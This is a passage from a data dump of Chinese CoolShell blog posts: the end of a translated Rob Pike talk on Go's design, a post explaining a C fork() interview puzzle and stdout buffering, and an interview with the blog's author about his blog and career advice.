我们规划出大体的轮廓，忽略了语法细节和语义。</p>\n<p>我仍然有一条碉堡了的那周的邮件线索。 这是一些摘录:</p>\n<blockquote><p><strong>Robert</strong>: 起点: C，修补一些显而易见的瑕疵，去除繁杂的东西。 新增一些特性。</p>\n<p><strong>Rob</strong>: 命名为’go’。 你可以为这个名字编造各种理由，但是它确实拥有很多好的特性。 它短小，易于打出。 工具么: goc，gol，goa。 如果有个交互式调试器/解释器，可以直接叫’go’。 代码后缀是。go。</p>\n<p><strong>Robert</strong>: 空接口: interface {}。 将被所有接口实现(译者: 原文如此)，并且可以取代void*。</p></blockquote>\n<p>我们并没有立即全部设计出来。 比如我们花了一年多才设计出了数组(array)和切片(slice)。 不过相当一部分重要的设计在最初的几天中浮现。</p>\n<p>注意到Robert说C是起点，并非C++。 对于这点我不是很确定，不过我相信他说的是C，因为Ken在场(译者笑)。 但是最后我们并没有从C开始，这倒是真的。 我们从最初的草稿开始，仅仅从其它语言中借鉴琐碎的东西，比如运算符，各种括号和一些常见的关键字。(当然我们也借鉴了我们所知道的语言中的思想。)不管怎么说，我们破而后立，从头做起，以此来响应C++。 我们并非想做一个更好的C++，甚至不是一个更好的C。 它仅仅是一个对我们所关心的软件来说更好的语言。</p>\n<p>最后，我们得到了既不同于C也不同于C++的东西，甚至比许多人意识到的还要不同。 我列了一个对于C和C++的Go的重要的简化的列表:</p>\n<ul>\n<li>常规的语法(不需要一个符号表来辅助解析)</li>\n<li>GC机制(仅仅是GC)</li>\n<li>没有头文件</li>\n<li>显式依赖关系</li>\n<li>没有循环依赖</li>\n<li>数字常量仅仅是数字(译者: 没有类型)</li>\n<li>int和int32不是同种类型</li>\n<li>字母大小写将确定可见性</li>\n<li>任何类型都可以有方法(没有类)</li>\n<li>没有子类型继承(没有子类)</li>\n<li>包级别的初始化和良好定义的初始化顺序</li>\n<li>同一个包的文件一起编译</li>\n<li>包级别的全局定义可以以任意顺序进行</li>\n<li>没有算术类型转换(常量可以弥补)</li>\n<li>接口是隐式实现的(没有”implements”声明)</li>\n<li>嵌入的结构体(没有类型提升和子类)</li>\n<li>方法像函数一样定义(不必定义在特殊的地方)</li>\n<li>方法就是函数</li>\n<li>接口就是方法(没有数据)</li>\n<li>方法仅仅靠名字匹配(不是靠类型)</li>\n<li>没有构造函数和析构函数</li>\n<li>后置增量/减量运算符仅仅是语句，而不是表达式</li>\n<li>没有前置增量/减量运算符</li>\n<li>赋值号是语句，不是表达式</li>\n<li>表达式求值顺序在赋值和函数调用时确定(没有所谓的”sequence point”)</li>\n<li>没有指针算术</li>\n<li>内存总是初始化为0</li>\n<li>对本地变量取地址是合法的</li>\n<li>方法中没有叫this的指针</li>\n<li>分段式栈</li>\n<li>没有常量或其它类型的注记</li>\n<li>没有模板</li>\n<li>没有异常</li>\n<li>内建字符串，切片和映射(map)</li>\n<li>数组边界检查</li>\n</ul>\n<p>并且，我相信通过这一系列的简化，Go将比C或C++更具有表现力。 少即是多。</p>\n<p>但是我们没法一下子把所有部分都做出来。 我们需要构建最基础的部分，比如说类型系统的表示，能良好应用于实际的语法，和一些无法形容的但能让库更容易相互操作的东西。</p>\n<p>我们同样增加了C或C++中没有的东西，比如切片和映射，组合字面量(？)，文件顶层的表达式(这虽是件大事，但是几乎不为人知)，反射机制，GC等等。 自然，还有并发。</p>\n<p>一个显眼的缺少的东西是类型的继承。 请允许我粗暴地对待它一分钟。</p>\n<p>早先构建Go的时候有人跟我说，他无法想象用一门没有泛型的语言工作。 正如我在别处说明的那样，我觉得这是个很诡异的言论。</p>\n<p>公平起见，他用自己的话说可能是他真的很喜欢C++中STL的那些容器。 以辩论为目的的话，我们来正面看看他的言论。</p>\n<p>他说的意味着: 他发现写一个容器，比如以int为元素类型的链表，或字符串映射是一种不能忍的重负。 我发现这是个很诡异的言论，因为我几乎没把时间花在那些个问题上，即使我在用没有泛型的语言。</p>\n<p>但是，更重要的是，他说的那些表示<em>类型系统</em>将会解除这种负担。 <em>类型系统</em>。 不是多态函数，或语言级原语，或其它类型的辅助手段(helpers)，而仅仅是<em>类型系统</em>。</p>\n<p>这就是粘住我的那个细节。</p>\n<p>从C++或Java来Go的程序员怀念和类型系统在一起的日子，特别是带继承和子类的那部分。 也许我在类型系统方面是粗暴了些，但是我绝不觉得那套玩意非常具有表现力。</p>\n<p>我已故的朋友Alain Fournier一次告诉我说他认为学术工作的最底层是分类学。 然后信不信由你，类型继承正是分类学。 你必须决定哪个萝卜扔哪个坑里，每个类型的父类型，A是否继承B或者B是否继承A。 一个可排序的数组是一个带有sort方法的数组呢，还是一个长得像数组的排序器呢？ 如果你觉得类型系统能解决所有设计上的问题，你必须做出这个无意义的选择。</p>\n<p>我相信对编程来说那是个荒诞的思路。 真正的重点不在于事物之间的继承关系，而在于它们能提供些什么。</p>\n<p>因此，接口这个概念进入了Go。 但是它们都是主要部分——真正的Go之道——的一部分。</p>\n<p>如果C++和Java注重类型继承和类型系统的分类学，那末Go就注重组合。</p>\n<p>Doug Mcilroy，Unix管道的最终发明人，在1964年(!)写道:</p>\n<blockquote><p>我们应该有一些机制能将程序耦合(串)起来，像花园软管那样——当我们需要另一种方式传送数据时，拧紧另外一段即可。 I/O也可以这么做。</p></blockquote>\n<p>这也是Go所提倡的道路。 Go吸收这个观点，然后把它推进得十分远。 这是一门关于(功能上的)组合和(调用上的)耦合的语言。</p>\n<p>一个显然的例子是接口是组合各部分的途径。 关键是，那些部分是什么并不重要，如果某类型实现了M方法我就可以把这个方法填到接口里去。</p>\n<p>另一个重要的例子是如何让并发性提供给我们不同的独立计算部分的组合。</p>\n<p>并且还有一种不同寻常(但十分简单)的类型组合形式: 嵌入。</p>\n<p>————————————————————————</p>\n<p>我想提一个和之前不太相关的Go设计: Go被设计为大型团队用来写大型程序的语言。</p>\n<p>这里有个概念是”大型编程”，并且不知何故C++和Java主宰了这个领域。 我相信这只是因为其历史巧合，或者是工业上的巧合。 但是被广泛接纳的观点是他们和面向对象设计有关。</p>\n<p>我压根不相信这点。 大型软件需要确定的方法，但是更重要的是它需要强依赖性管理，干净的接口抽象和优越的文档工具。 C++没一点做得好的(虽然Java明显要好很多)。</p>\n<p>我们还不知道Go语言能做到何种程度，因为现在还没有足够的软件是用Go写的。 但是我非常有信心于Go将会成为一个优越的大型编程语言。 时间会说明一切的。</p>\n<p>————————————————————————</p>\n<p>现在，回到我们演讲开始提的那个问题:</p>\n<p>为什么Go，作为从头被设计为符合C++使用者习惯的语言，没有吸引很多C++程序员？</p>\n<p>严肃点说，我觉得是因为Go和C++在哲学方面有着巨大的不同。</p>\n<p>C++是将所有东西提到你指尖上(译者: 即多范式)。 我在C++11的FAQ上找到了这段引用:</p>\n<blockquote><p>C++能优雅地，灵活地，零损耗地(相比于手工操纵代码)表达抽象的能力大幅提升了。</p></blockquote>\n<p>Go并非这种”围绕式”的。 你并不需要所有的东西都内建好。 你不需要对每个执行细节进行精细的控制。 比如，你不需要RAII，但你拥有一个垃圾回收器，也意味着你不需要执行释放内存的操作。</p>\n<p>你得到的是一组非常强有力但易于理解，易于用来构建积木的功能，这些积木可以用来组合出一个你需要的问题的解法。 这并不意味着它能像别的一些语言创造的解法一样快速，复杂，或带来思想上的激励，但是它总能保证易于书写，易于阅读，易于理解，易于维护，而且可能更安全。</p>\n<p>从另一个角度说，这当然算作过度简化:</p>\n<p>Python和Ruby程序员转到Go，因为他们不需要牺牲表达能力，却获得了性能的提升，并且能好好玩并发系统了。</p>\n<p>C++程序员<em>并没有</em>转到Go是因为他们好不容易获得了对程序的精细控制，并且不想牺牲它们的任何一部分。 对他们而言，写软件不仅包括把事情做完，而且包括用特定的方式完成。</p>\n<p>关键是，在将来，Go的成功将会颠覆他们的世界观。</p>\n<p>并且从一开始我们就应该意识到这点。 对于C++11的新特性很兴奋的人们并不关心一个拥有如此少特性的语言。 即使最后他提供了如此多。</p>\n<p>谢谢。</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7965.html\"><img alt=\"一个fork的面试题\" height=\"150\" src=\"../wp-content/uploads/2012/07/fork01jpg-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4990.html\"><img alt=\"程序员技术练级攻略\" height=\"150\" src=\"../wp-content/uploads/2011/07/programmer-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4990.html\">程序员技术练级攻略</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4102.html\"><img alt=\"如何学好C语言\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/25.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4102.html\">如何学好C语言</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1761.html\"><img alt=\"Go语言源码的一个改动\" height=\"150\" src=\"../wp-content/uploads/2009/11/spell_it_with_e-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1761.html\">Go语言源码的一个改动</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7771.html\">少即是极多</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-1 一个fork的面试题.html",
    "content": "<html><body><p>前两天有人问了个关于Unix的fork()系统调用的面试题，这个题正好是我大约十年前找工作时某公司问我的一个题，我觉得比较有趣，写篇文章与大家分享一下。这个题是这样的：</p>\n<p><strong>题目：请问下面的程序一共输出多少个“-”？</strong></p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\n\nint main(void)\n{\n   int i;\n   for(i=0; i&lt;2; i++){\n      fork();\n      printf(\"-\");\n   }\n\n   wait(NULL);\n   wait(NULL);\n\n   return 0;\n}\n</pre>\n<p>如果你对fork()的机制比较熟悉的话，这个题并不难，输出应该是6个“-”，但是，实际上这个程序会很tricky地输出8个“-”。</p>\n<p>要讲清这个题，我们首先需要知道fork()系统调用的特性，</p>\n<p><span id=\"more-7965\"></span></p>\n<ul>\n<li>fork()系统调用是Unix下以自身进程创建子进程的系统调用，一次调用，两次返回，如果返回是0，则是子进程，如果返回值&gt;0，则是父进程（返回值是子进程的pid），这是众为周知的。</li>\n</ul>\n<ul>\n<li>还有一个很重要的东西是，在fork()的调用处，整个父进程空间会原模原样地复制到子进程中，包括指令，变量值，程序调用栈，环境变量，缓冲区，等等。</li>\n</ul>\n<p>所以，上面的那个程序为什么会输入8个“-”，这是因为printf(“-“);语句有buffer，所以，对于上述程序，printf(“-“);把“-”放到了缓存中，并没有真正的输出（参看《<a href=\"https://coolshell.cn/articles/945.html\" target=\"_blank\" title=\"C语言的谜题\">C语言的迷题</a>》中的第一题），<strong>在fork的时候，缓存被复制到了子进程空间</strong>，所以，就多了两个，就成了8个，而不是6个。</p>\n<p>另外，多说一下，我们知道，Unix下的设备有“<a href=\"http://en.wikipedia.org/wiki/Device_file#Block_devices\" target=\"_blank\">块设备</a>”和“<a href=\"http://en.wikipedia.org/wiki/Device_file#Character_devices\" target=\"_blank\">字符设备</a>”的概念，所谓块设备，就是以一块一块的数据存取的设备，字符设备是一次存取一个字符的设备。磁盘、内存都是块设备，字符设备如键盘和串口。<strong>块设备一般都有缓存，而字符设备一般都没有缓存</strong>。</p>\n<p>对于上面的问题，我们如果修改一下上面的printf的那条语句为：</p>\n<p><code class=\"EnlighterJSRAW\">printf(\"-\\n\");</code></p>\n<p>或是</p>\n<pre class=\"EnlighterJSRAW\"> printf(\"-\");\nfflush(stdout);</pre>\n<p>就没有问题了（就是6个“-”了），因为程序遇到“\\n”，或是EOF，或是缓中区满，或是文件描述符关闭，或是主动flush，或是程序退出，就会把数据刷出缓冲区。需要注意的是，标准输出是行缓冲，所以遇到“\\n”的时候会刷出缓冲区，但对于磁盘这个块设备来说，“\\n”并不会引起缓冲区刷出的动作，那是全缓冲，你可以使用setvbuf来设置缓冲区大小，或是用fflush刷缓存。</p>\n<p>我估计有些朋友可能对于fork()还不是很了解，那么我们把上面的程序改成下面这样：</p>\n<pre class=\"EnlighterJSRAW\">\n#include &lt;stdio.h&gt;\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;\nint main(void)\n{\n   int i;\n   for(i=0; i&lt;2; i++){\n      fork();\n      //注意：下面的printf有“\\n”\n      printf(\"ppid=%d, pid=%d, i=%d \\n\", getppid(), getpid(), i);\n   }\n   sleep(10); //让进程停留十秒，这样我们可以用pstree查看一下进程树\n   return 0;\n}\n</pre>\n<p>于是，上面这段程序会输出下面的结果，（注：编译出的可执行的程序名为fork）</p>\n<pre class=\"EnlighterJSRAW\">ppid=8858, pid=8518, i=0\nppid=8858, pid=8518, i=1\nppid=8518, pid=8519, i=0\nppid=8518, pid=8519, i=1\nppid=8518, pid=8520, i=1\nppid=8519, pid=8521, i=1\n\n$ pstree -p | grep fork\n|-bash(8858)-+-fork(8518)-+-fork(8519)---fork(8521)\n|            |            `-fork(8520)</pre>\n<p>面对这样的图你可能还是看不懂，没事，我好事做到底，画个图给你看看：</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7968\" height=\"407\" src=\"../wp-content/uploads/2012/07/fork01jpg.jpg\" title=\"fork 程序调用图\" width=\"620\"/></p>\n<p>注意：上图中的我用了几个色彩，相同颜色的是同一个进程。于是，我们的pstree的图示就可以成为下面这个样子：（下图中的颜色与上图对应）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7969\" height=\"97\" src=\"../wp-content/uploads/2012/07/fork02.jpg\" title=\"fork进程树\" width=\"437\"/></p>\n<p>这样，对于printf(“-“);这个语句，我们就可以很清楚的知道，哪个子进程复制了父进程标准输出缓中区里的的内容，而导致了多次输出了。（如下图所示，就是我阴影并双边框了那两个子进程）</p>\n<p><img alt=\"\" class=\"aligncenter size-full wp-image-7970\" height=\"415\" src=\"../wp-content/uploads/2012/07/fork03.jpg\" title=\"fork程序执行图\" width=\"626\"/></p>\n<p>现在你明白了吧。（另，对于图中的我本人拙劣的配色，请见谅!）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4162.html\"><img alt=\"又一个有趣的面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4162.html\">又一个有趣的面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3961.html\"><img alt=\"“火柴棍式”程序员面试题\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3961.html\">“火柴棍式”程序员面试题</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3738.html\"><img alt=\"打印质数的各种算法\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3738.html\">打印质数的各种算法</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3445.html\"><img alt=\"输出从1到1000的数\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3445.html\">输出从1到1000的数</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1532.html\"><img alt=\"到处都是Unix的胎记\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1532.html\">到处都是Unix的胎记</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/7965.html\">一个fork的面试题</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2012-8-12 InfoQ的ArchSummit大会对我的采访.html",
    "content": "<html><body><p></p>\n<p>偷个懒，做个更新，今天下午InfoQ的ArchSummit对我的一些采访。我整理了一下，算做是我个人写酷壳的一些想法和总结。不过问我的这些问题并不尖锐，呵呵，不像<a href=\"http://weibo.com/stonemama\" target=\"_blank\">@图灵谢工</a> 问我的问题：“你的价值观太过理想，根本不现实，你站在道德的高点拷问社会，是不是想炒作自己？”。</p>\n<p><strong>1) 作为酷壳的博主，请您大概介绍下酷壳是什么时候开始的，初衷是什么 ？</strong></p>\n<p>我写blog是从2002年开始（那时还没有blog这个词），当时对我来说，没有自己的电脑，上网很不方便，而我有写学习笔记的习惯，读书和工作中学到的一些东西需要保存在某个地方，我希望这个地方可以让我在任何地方都可以调出来看看（因为我当时的工作出差太多），正好当时的CSDN有个“专家专栏”的功能，也就是后来出现的blog。</p>\n<p>后来Blog出现后，CSDN把自己的“专家专栏”全部迁移到了blog.csdn.net上，07-08年这段时间，CSDN的blog基本上是不能使用，性能差得不能再差，每天宕机，上传图片，贴代码，都非常不好用。也许，这就是使用.NET/Windows平台的问题（开个玩笑）。</p>\n<p>我是从2009年3月开始创建酷壳的，创建的初衷如下：</p>\n<ul>\n<li>我需要一个更稳定，更方便的地方，我的博客的风格不会被大众的风格所掩盖的地方。</li>\n<li>我的从事新闻的老婆很不待见<a href=\"http://blog.csdn.net/haoel\" target=\"_blank\">我在CSDN的博客</a>，她觉得太技术，书呆子。</li>\n<li>我正好看到了煎蛋这个国外娱乐新闻文摘的blog，而我正好每天会有2个小时阅读国外社区的东西。</li>\n</ul>\n<p>基于上述三个原因，我自己花了4500元/年租了个主机，建了酷壳。所以，这也是你一开始看到酷壳基本上是娱乐性比较强的博客，我收集一些比较有意思的程序员中发生的事情，也收集一各式各样的程序员圈子里的各处观点。</p>\n<p>我当时的想法是，一些特别技术的东西，我会和CSDN同步，而一些轻松的话题，我会放在酷壳。我当时的初衷就是想说明程序员并不是一个木纳、书呆子、不食人间烟火、巨无趣的一个群体，程序员圈子里同样也有很多有趣的东西。所以，你可以看到11年初以前的东西我有很多网络恶搞式乱调侃的语言。</p>\n<p><span id=\"more-8031\"></span></p>\n<p>但到了2011年初让我开始让我有些转变，主要是读者越来越多，而且，有一些人已经把酷壳当成了一个提升自己能力和、开阔眼界、甚至需要指导的地方，我的压力就这样来了，这种压力让我开始不能太娱乐，因为有一些人是很认真地在看酷壳的文章，在期待能从酷壳获得有价值的东西……</p>\n<p><strong>2）技术人员的个人博客不胜其数，但真正可以吸引人眼球的并不多，能谈谈成功运营一个个人博客的精髓是什么？</strong></p>\n<p>哪有什么运营，完全是顺其自然，误打误撞。</p>\n<p>是的，技术人员的博客太多了，酷壳并不是技术最好的，也不是资讯最好的。淘宝的很多技术团队的博客都很不错，还有阮一峰的博客，还有各种各样的如CSDN，博客园，51CTO，ZDNET这样的社区。所以，我需要做点不一样的，而且我觉得还有一些这些社区和博客都还没有涉及的地方。</p>\n<p>对于社区最大的问题就是，他们就像我们学校里的学生一样，喜欢大量地收获聚集文章和知识，填鸭式的网站，网站的编辑不懂技术。对于一些技术博客的问题并不是他们不懂技术，而是太过技术，只有技术，少了一些程序员的文化，观点和视野。</p>\n<p>程序员是一个圈子，一个小社会，这个圈子里并不只有技术和知识，还有很多很多的东西，例如：程序员们都说自己比较辛苦，都说自己没有得到足够的尊重，还有一些如敏捷，流程，产品等地方程序员的观点没有得到表达，还有一些程序员这个社区内比较特有的东西，比如：编程语言之争，这本是一个很好的话题，是程序员圈子里的文化，但是每次讨论都是骂来骂去的，需要有人去引导程序员，带领他们用正确的价值观去看待和思考这些东西。</p>\n<p>这就是酷壳和其它博客和社区不一样的地方，我关注的并不只有技术，还有程序员的文化和想法，并且输出一些或偏执或鲜明或个人或激进的价值观，无论怎么样，你认同也好，不认同也可以，你可以看到酷壳和我还有酷壳里的讨论都是真实的。</p>\n<p><strong>3）根据你博客的自我介绍，想从纯底层技术方向转型为业务技术方向，让你产生这种想法的最大原因是什么？</strong></p>\n<p>纯底层做得太多了，有些书呆子了，与人打交道有问题了，而且觉得地底有点不识人间烟火了，我想知道用户是怎么用我们的产品的，我想知道用户是怎么想的，整天在那调网络性能，调系统性能，搞多线程，搞内存漏洞，整天在矿道里打洞， 想出来见见天日。呵呵。</p>\n<p>但这并不代码我觉得业务和用户要比技术有用得多，也并不是说技术无用论。</p>\n<p>我觉得这就好像一颗大树，这些底层的技术，可以让你站得非常非常稳，可以让你抵御洪灾和暴风，但是如果你想伸长得更高更广，你还是需要地面上的枝叶。我觉得我的底层知识够深入了，我需要了解业务知识和用户，因为我不但想站得稳，扎得深，我也想伸得高。</p>\n<p><strong>4）酷壳产出文章是怎么样的频率？每篇博文 ，你大概需要多少时间？</strong></p>\n<p>我每天都有阅读的习惯，尤其是阅读网文，每天两个小时，而且我是一个爱思考的人，思考的对不对不一定，但是我很喜欢去思考。现在又上了微博和一些朋友互动，也会引发我的一些思考，所以，文章就是在阅读、交流和思考中产生的。</p>\n<p>2011年初以前，平均每周3篇，有时候一周有10篇，现在基本上每周一篇。以前的文章花不了太多时间 ，因为比较娱乐，现在的文章很花时间，比如《程序员练级攻略》花了我四周的时间 ，《性能调优攻略》花了我三周多的时间，基本上来说，现在的文章至少也要花我1-2天的时间。我想把文章的数量降下来，这样，我可以思考得更好更透彻一些，这样文章里的营养更多一些。</p>\n<p><strong>5）是不是可以给年轻的朋友，或是风刚从事软件开发工作的朋友，一些职业发展的建议？</strong></p>\n<p>主要是下面几点：</p>\n<ul>\n<li>不要追新技术，应该多看看那些经历了很长时间的常青的技术。</li>\n</ul>\n<ul>\n<li>多研究一下历史，和技术的演进，这样你才能知道技术的未来。今天的很多东西都在过去有身影，如：今天的移动端和云端架构和以前的Unix和终端的关系，还有管道，和Unix设计的哲学也在今天Service Interface式的设计中有得到传承，等等。</li>\n</ul>\n<ul>\n<li>我可以急功近利以解决问题和追赶技术潮流，但是，如果你需要成为一个领域的专家，你需要非常非常注重基础。速成编程的方式只能让你成为劳动力，而不能成为工匠或技术和知识的驾驭者。</li>\n</ul>\n<ul>\n<li>不要被产商的文化所主导了，多看看社区的文化，尤其是Unix/C的文化，这是计算机文化的根（参看我写过的《<a href=\"https://coolshell.cn/articles/2322.html\" target=\"_blank\" title=\"Unix传奇(上篇)\">Unix传奇</a>》）</li>\n</ul>\n<ul>\n<li>注重基础，广度是深度是副产品。</li>\n</ul>\n<p><strong>6）以你过往的经历，你是如何看待“架构师”这个角色的？他的义务是如何分配的？</strong></p>\n<p>架构就是Design一个部分，就是软件设计的一块，软件设计最重要的有两点：</p>\n<ul>\n<li>业务功能性需求分析和非功能性需求分析，</li>\n<li>技术基础的深刻认识，需要有非常丰富的经验。</li>\n</ul>\n<p>试问一下，程序员做软件不需要设计吗？做设计不需要设计架构吗？很自然的，今天的工程师，程序员已经在做架构设计上的事了。所以，我觉得架构设计这个工作本就是程序员（或者说是高级程序员）工作的一部分。</p>\n<p>但是，我个人认为架构师在某些情况下也还是需要的，但其应该是对业务和技术都很熟悉的人，并且偏技术，也要写代码的人。在一些公司，上下一盘棋，的确需要对总体架构设计，并保证这个框架能够被各个工程团队贯彻实现的那么一个团队，但他们应该更多地深入到一线工程团队的。</p>\n<p>所以，我觉得架构师就是一个高级程序员，而不是一个拍脑袋，关说不练的人。</p>\n<p>这点，看看Linux的架构师团队就知道了，一样的需要写代码，fix-bug，一样地需要了解各个公司对linux提出的各种各样的需求。</p>\n<p><strong>7）现阶段酷壳的文章，都是你一个人写的吗？是否有其他同仁加入写作？</strong></p>\n<p>并不都是我一个人写的，我希望酷壳是大家一起来写的，事实上也有一些人写，只是不多。只是我个人的色彩过重了一些，我的个性压制了众性。</p>\n<p>（不过，我真的无法自证都是我写的，我有没有团队，呵呵，管它有没有团队，是不是人代写，重要的是那些文章的内容是否对大家有帮助，或是对社区有贡献。；））</p>\n<p><strong>8）你对酷壳未来的构想是什么？还是一个技术交流的平台吗？</strong></p>\n<p>对于酷壳来说，其文化和价值观比较重一些，短期内，还是以我个人色彩为主一些，虽然我希望这是一个大家都能来分享的地方。前段时间我有个想法想做一个“程序员疫苗站”，就像我们一出生时接种的各种疫苗可以让我们抵抗各种病毒一样，这个网站可以让程序员接种一些犯低级错误的疫苗，从而对这些低级错误有抵抗。我还没有想得特别清楚，不过方向基本上是这个方面的。</p>\n<p>（全文完）</p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22298.html\"><img alt=\"聊聊团队协同和协同工具\" height=\"150\" src=\"../wp-content/uploads/2022/10/communication-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22298.html\">聊聊团队协同和协同工具</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22173.html\"><img alt=\"“一把梭：REST API 全用 POST”\" height=\"150\" src=\"../wp-content/uploads/2022/02/http_method-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22173.html\">“一把梭：REST API 全用 POST”</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22157.html\"><img alt=\"谈谈公司对员工的监控\" height=\"150\" src=\"../wp-content/uploads/2022/02/monitoring-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22157.html\">谈谈公司对员工的监控</a></li><li><a class=\"wp_rp_thumbnail\" 